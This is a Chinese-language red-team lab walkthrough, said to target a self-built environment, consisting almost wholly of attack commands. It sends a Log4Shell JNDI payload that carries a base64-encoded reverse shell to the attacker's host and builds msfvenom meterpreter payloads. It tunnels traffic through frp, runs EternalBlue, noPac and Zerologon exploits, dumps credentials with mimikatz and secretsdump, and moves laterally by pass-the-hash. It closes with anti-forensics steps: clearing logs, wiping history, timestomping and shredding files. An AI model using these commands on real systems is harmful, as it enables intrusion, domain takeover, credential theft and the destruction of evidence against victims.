本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
nmap -sV -A -T4 -p- 192.168.254.131
curl 192.168.254.131:38080/hello -X POST -d 'payload=${jndi:ldap://k8v66b,dnslog.cn/aa}'
(向右滑动,查看更多)
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.68.254.130
(向右滑动,查看更多)
nc -lvnp 9999
ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
(向右滑动,查看更多)
## bash一句话反弹shell
bash -i >& /dev/tcp/192.168.254.130/9999 0>&1
## base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NC4xMzAvOTk5OSAwPiYx
## url编码+号
YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjI1NC4xMzAvOTk5OSAwPiYx
## 构造payload
curl 192.168.254.131:38080/hello -X POST -d 'payload=${jndi:ldap://192.168.254.130:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjI1NC4xMzAvOTk5OSAwPiYx}'
cat /proc/1/cgroup
/root/flag.txt
python -m http.server 8081
wget 192.168.254.130:8081/fscan_amd64
./fscan_amd64 -h 10.0.1.1/24
chmod +x fscan_amd64
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.254.130 lport=4444 -f elf -o shell
(向右滑动,查看更多)
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
(向右滑动,查看更多)
frps.ini
frps.ini
[common]
bind_addr = 0.0.0.0 # 设置监听的ip ,一般是你的外网ip,0.0.0.0表示都监听
bind_port = 8000 # 监听的端口,等待客户端连接
dashboard_addr = 0.0.0.0 # frp网站服务器的ip,可以访问登录
dashboard_port = 7600 # frp网站服务器的端口,可以访问登录
dashboard_user = root # frp网站服务账号
dashboard_pwd = 123456 # frp网站服务密码
token = 1q2w3e # 客户端的连接密码
heartbeat_timeout = 90 # 连接超时的时间
max_pool_count = 5 # 允许连接的客户端数量
(向右滑动,查看更多)
[common]
tls_enable = true
server_addr = 192.168.254.130 # vps 服务器地址
server_port = 8000 # vps服务器监听地址
token = 1q2w3e # 设置的密码 ,设置完流量加密,不好解。
pool_count = 5 # 将提前建立连接,默认值为 0
protocol = tcp # 通信方式
health_check_type = tcp # frpc 将连接本地服务的端口以检测其健康状态
health_check_interval_s = 100 # 健康检查时间间隔
[proxies]
remote_port = 6000 # 把流量转发到vps 那个端口 ,这个是重点等下会用到
plugin = socks5 #plugin 表示为插件
use_encryption = true
use_compression = true
(向右滑动,查看更多)
./frps -c ./frps.ini
sudo ./frpc -c ./frpc.ini
setg Proxies socks5:127.0.0.1:6000 # 设置代理
set ReverseAllowProxy true # 允许反向连接
(向右滑动,查看更多)
search ms17-010
use auxiliary/scanner/smb/smb_ms17_010 # 选择扫描模块
show options # 查看模块配置
set rhost 10.0.1.7 # 选择攻击ip
run
(向右滑动,查看更多)
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue #攻击测试
set payload windows/x64/meterpreter/bind_tcp #这里正向使用的是正向shell,是基于我们可以访问到对方,也可以使用reverse_tcp
set rhosts 10.0.1.7 #选择攻击ip
set target 1 #这里我们将target进行设置为win7的,有时候不设置会攻击不成功,查看所有target的命令是:show targets
run/exploit
(向右滑动,查看更多)
chcp 65001
修改编码systeminfo
net config workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user /domain # 查看域用户
net view /domain # 查看有几个域
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "domain controllers" /domain # 查看域控制器(可能有多台)
for /l %i in (1,1,255) do @ping 10.0.0.%i -w 1 -n 1|find /i "ttl=" # 查找域控ip
nslookup redteam.lab # 查找域控ip
(向右滑动,查看更多)
load mimikatz
creds_all
use auxiliary/server/socks_proxy
sock5 0.0.0.0 1080
pip3 install -r requirements.txt
proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell
fbinary = "/usr/bin/impacket-smbexec"
if options.dump:
fbinary = "/usr/bin/impacket-secretsdump"
proxychains python3 noPac.py -use-ldap redteam/root:Red12345 -dc-ip 10.0.0.12 -shell
python3 noPac.py -use-ldap main.test.com/testuser:[email protected] -dc-ip 192.168.43.100 -dump -just-dc-ntlm
(向右滑动,查看更多)
python3 noPac.py -use-ldap main.test.com/testuser -hashes :52888cf384b8d2e56e0cc2bb6b906f99 -dc-ip 192.168.43.100 -dump -just-dc-ntlm
域控
ip:10.0.0.12
hostname:DC
user : Administrator
pass : ASDqwe123
域:redteam.lab
lsadump::zerologon /target:10.0.0.12 /account:DC$
proxychains python3 cve-2020-1472-exploit.py DC 10.0.0.12
proxychains python3 secretsdump.py -no-pass -just-dc -just-dc-user administrator redteam.lab/DC$\@10.0.0.12
(向右滑动,查看更多)
proxychains python3 wmiexec.py redteam.lab/Administrator\@10.0.0.12 -hashes :88e4d9f............b29
这里不方便复制省略了。proxychains python3 wmiexec.py redteam.lab/Administrator\@10.0.0.12 -codec 'gbk' -hashes :88e4d9f............b29
(向右滑动,查看更多)
proxychains python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
(向右滑动,查看更多)
proxychains python3 restorepassword.py redteam.red/owa\@owa -target-ip 10.10.10.8 -hexpass caffc4a02a2040858392e5909c5f0e528de461f22d3d0b7b6aed6b5a3544b1ea4f229155f11b2ed358b49c4db0d0f6fdc55139b6887f6184f380d41a1d2d1d75d4532c163d3ebe2b4b83ca0af27714cc4b8b312bc627ac6ffb8c489ece0fbb88f8a274f3e14a0aa70e2b2508a6dff8fffcc8825d8191835cc9cd7784cc88628ac44eb1baa9c8ee0438c3d49c953a59c52d24d09f31da9cef79e56b31d19d8c4257caac83062da4432b9b23d64312aca238c98b2b8808ed652f17c1a75b81059928bf4a8f5e9334cc0c37f07e74863902055b0e8b18de02d2d0dac450d51fd6e13639bc7ef887f244a7c298695284575b
(向右滑动,查看更多)
参考上面代码。
proxychains python3 restorepassword.py redteam.lab/DC\@DC -target-ip 10.0.0.12 -hexpass ....................
(向右滑动,查看更多)
windows主机日志全量清理:
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
防火墙日志清理:
cd logfiles/firewall
del xxx.log
(向右滑动,查看更多)
## 全量清理
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
(向右滑动,查看更多)
cd logfiles/firewall
del xxx.log
默认情况,在 %systemroot%\system32\logfles\ 下有FTP、IIS服务器等日志。
FTP日志默认位置:%systemroot%\system32\logfiles\msftpsvc1\
WWW日志默认位置:%sys temroot%\sys tem32\logfiles\w3svc1\
Scheduler服务日志默认位置:%systemroot%\schedlgu.txt
DNS日志默认位置:%systemroot%\system32\config
如果发现这些日志被重定位,通过注册表 HKEY_LOCAL_MACHINE\sys
tem\CurrentControlSet\Services\Eventlog 下很多的子表,查到一些日志的定位目录。
(向右滑动,查看更多)
# 进入Default.rdp所在路径
cd %userprofile%\documents\
# 使用attrib去掉Default.rdp文件的,系统文件属性(S);隐藏文件属性(H)
attrib Default.rdp -s -h
# 删除
del Default.rdp
(向右滑动,查看更多)
# 用户最近访问过的文件和网页记录
C:\Users\root\AppData\Local\Microsoft\Windows\History
# 近期访问过的文件
C:\Users\root\Recent
(向右滑动,查看更多)
安全删除文件
利用cipher覆写文件
cipher /w:X # 其中X指盘符或文件具体位置
cipher /w:c:\users\root\desktop\flag.txt
Function edit_time($path){$date1 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date2 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date3 =Get-ChildItem |
Select LastWriteTime|Get-Random;$(Get-Item
$path).lastaccesstime=$date1.LastWriteTime;
$(Get-Item $path).creationtime=$date2.LastWriteTime ;
$(Get-Item $path).lastwritetime=$date3.LastWriteTime};
edit_time("C:\Users\root\desktop\flag.txt")
(向右滑动,查看更多)
隐藏远程ssh登陆记录:
ssh -o UserKnownHostsFile=/dev/null -T [email protected] /bin/bash –i
清理历史记录:
history -c
当前shell终止history记录:
set +o history 、 kill -9 $$
清理日志:
ls -al /var/log/lastlog && echo > /var/log/lastlog && ls -al /var/log/lastlog
隐藏文件修改时间:
touch -r A B (修改系统时间后执行效果更好)
(向右滑动,查看更多)
history -c
# 全量清理
echo > /var/log/btmp
echo > /var/log/lastlog
cat /dev/null > /var/log/secure
cat /dev/null > /var/log/message
# 部分清理
sed -i '/你的IP/'d filename
# 部分替换
sed -i 's/1.1.1.1/2.2.2.2/g' /var/log/nginx/access.log
# 例如
ls -al /var/log/lastlog && echo > /var/log/lastlog && ls -al /var/log/lastlog
(向右滑动,查看更多)
shred -f -u -z -v -n 6 ew_for_linux64
精彩推荐